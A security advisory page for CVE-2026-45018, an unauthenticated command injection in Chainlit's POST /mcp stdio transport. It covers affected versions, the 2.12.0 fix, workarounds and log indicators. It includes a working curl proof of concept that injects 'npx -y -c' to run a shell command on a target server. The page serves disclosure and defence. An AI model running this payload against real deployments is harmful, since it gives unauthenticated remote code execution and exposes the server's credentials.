CVE-2026-45018: Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution
Chainlit, the Python framework for chat and agent UIs, lets an unauthenticated client run shell commands on the server through the `POST /mcp` stdio transport. It only applies when `features.mcp.enabled = true`. Versions 2.4.0rc0 through 2.11.1 are affected. Chainlit 2.12.0 fixes it by removing the client-supplied command entirely.
Published Aug 25, 2026 · Analysis Oct 25, 2026
What an attacker can do
With MCP enabled, POST /mcp accepts a fullCommand string for the stdio client type. validate_mcp_command() in backend/chainlit/mcp.py splits it with shlex.split() and checks only the executable name against allowed_executables. It never looks at the arguments. So npx -y -c 'PAYLOAD' passes the check, because npx -c runs an arbitrary shell command. The command runs before the MCP handshake fails.
The attacker needs only network access and a Socket.IO session id, which any client can open. No login is required unless the deployment registered an auth callback. The command runs with the privileges of the Chainlit process, which means access to its environment variables (LLM API keys, database credentials), its files and the network around it.
A second weakness makes it worse: allowed_executables defaults to None, and the code treats None as allow everything. A developer who deletes that line from the config allows any executable.
MCP has been off by default since v2.7.0, so most deployments are not exposed. The /mcp route itself is registered in every deployment.
Who is affected
Affected: chainlit from 2.4.0rc0 up to and including 2.11.1, and only if .chainlit/config.toml sets features.mcp.enabled = true. Deployments with MCP disabled, the default since 2.7.0, are not exploitable through this flaw.
Check the installed version and the config:
pip show chainlit
grep -n "mcp" .chainlit/config.tomlchainlit
- Ecosystem
- PyPI
- Affected
- >= 2.4.0rc0, <= 2.11.1
- Fixed in
- 2.12.0
- Check
pip show chainlit
How to fix it
Upgrade to 2.12.0:
pip install --upgrade "chainlit>=2.12.0"This release is a breaking change for MCP users. Stdio servers are now declared by the developer under [[features.mcp.servers]] in .chainlit/config.toml and clients select them by name. The old [features.mcp.sse], [features.mcp.stdio], [features.mcp.streamable-http] sections and allowed_executables stop the app from starting when MCP is enabled, so migrate them first (see CHANGELOG.md).
If you cannot upgrade, set features.mcp.enabled = false. You can also register an auth callback so /mcp needs a logged-in session, and restrict process spawning on the host. Authentication does not fix the injection.
After upgrading, a deployment with no auth callback still lets anonymous clients start developer-configured stdio servers by name. That is no longer code execution, but configure authentication anyway.
How to tell if you were hit
Search web server or reverse proxy logs for POST /mcp requests with "clientType": "stdio" and a fullCommand containing npx, -c, uvx, sh, curl or bash. Requests to /ws/socket.io/ from unknown clients just before them are a sign of the session setup.
On the host, check for shell or npx child processes of the Chainlit process, unexpected files in /tmp (the public proof of concept writes /tmp/rce_proof), and outbound connections from the Chainlit user. If you find any, rotate the keys in the process environment.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Am I affected?
Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.
Summary
When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.
Affected / patched versions
| CVE | CVE-2026-45018 | | Affected | `>=2.4.0rc0, <2.12.0` with `features.mcp.enabled = true` (introduced in PR #1977, the change that added MCP support) | | Patched | **2.12.0** (releasing 2026-08-25) |
Details
validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.
Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.
There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.
The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.
Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters
PoC
Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.
- Establish a Socket.IO session to get a valid
sessionId:
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
| python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")
curl -s -X POST \
"http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
-d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'- Send the command injection payload:
curl -s -X POST 'http://TARGET:8000/mcp' \
-H 'Content-Type: application/json' \
-d '{
"sessionId": "rce-proof",
"clientType": "stdio",
"name": "poc",
"fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
}'The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.
Impact
Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.
Fix
Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.
Workarounds
If you cannot upgrade immediately:
- Set
features.mcp.enabled = falsein.chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019). - Restrict outbound process-spawning / network capability from the host running Chainlit.
- Configure authentication (register an auth callback) so that
/mcprequires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.
Upgrading to 2.12.0
Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.
Residual risk after upgrading
- On deployments with no authentication configured,
/mcpremains reachable anonymously after upgrading, becauseget_current_userreturnsNonewhen no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication. - No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.
Credits
Vipin SPL
Credited to dokterbob, qvipin, ladderlogix.
Questions
- Is my Chainlit app affected if I never enabled MCP?
No for this flaw. It requires
features.mcp.enabled = true, and MCP has been disabled by default since 2.7.0. Still upgrade, because 2.12.0 also fixes the related SSRF issue CVE-2026-45019.- Does CVE-2026-45018 need authentication?
No, unless you registered an auth callback. Without one, any client that can open a session can call
/mcp. Adding auth removes the unauthenticated path but does not fix the command injection.- What breaks when I upgrade to 2.12.0?
If MCP is enabled and your config uses the legacy
[features.mcp.sse],[features.mcp.stdio]or[features.mcp.streamable-http]sections orallowed_executables, the app will not start until you move to[[features.mcp.servers]]. MCP connections also no longer follow HTTP redirects.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Chainlit vulnerabilities
All Chainlit entriesCVE-2026-45019
Chainlist has SSRF via MCP SSE and streamable-http transports that allows unauthenticated internal network access
high7.2Aug 25, 2026CVE-2026-56104
Chainlit contains a session hijacking vulnerability
critical7.4Jun 22, 2026CVE-2026-22219
Chainlit contain a server-side request forgery (SSRF) vulnerability
high7.7Jan 20, 2026CVE-2025-68492
Chainlit contains an authorization bypass vulnerability
low4.2Jan 14, 2026
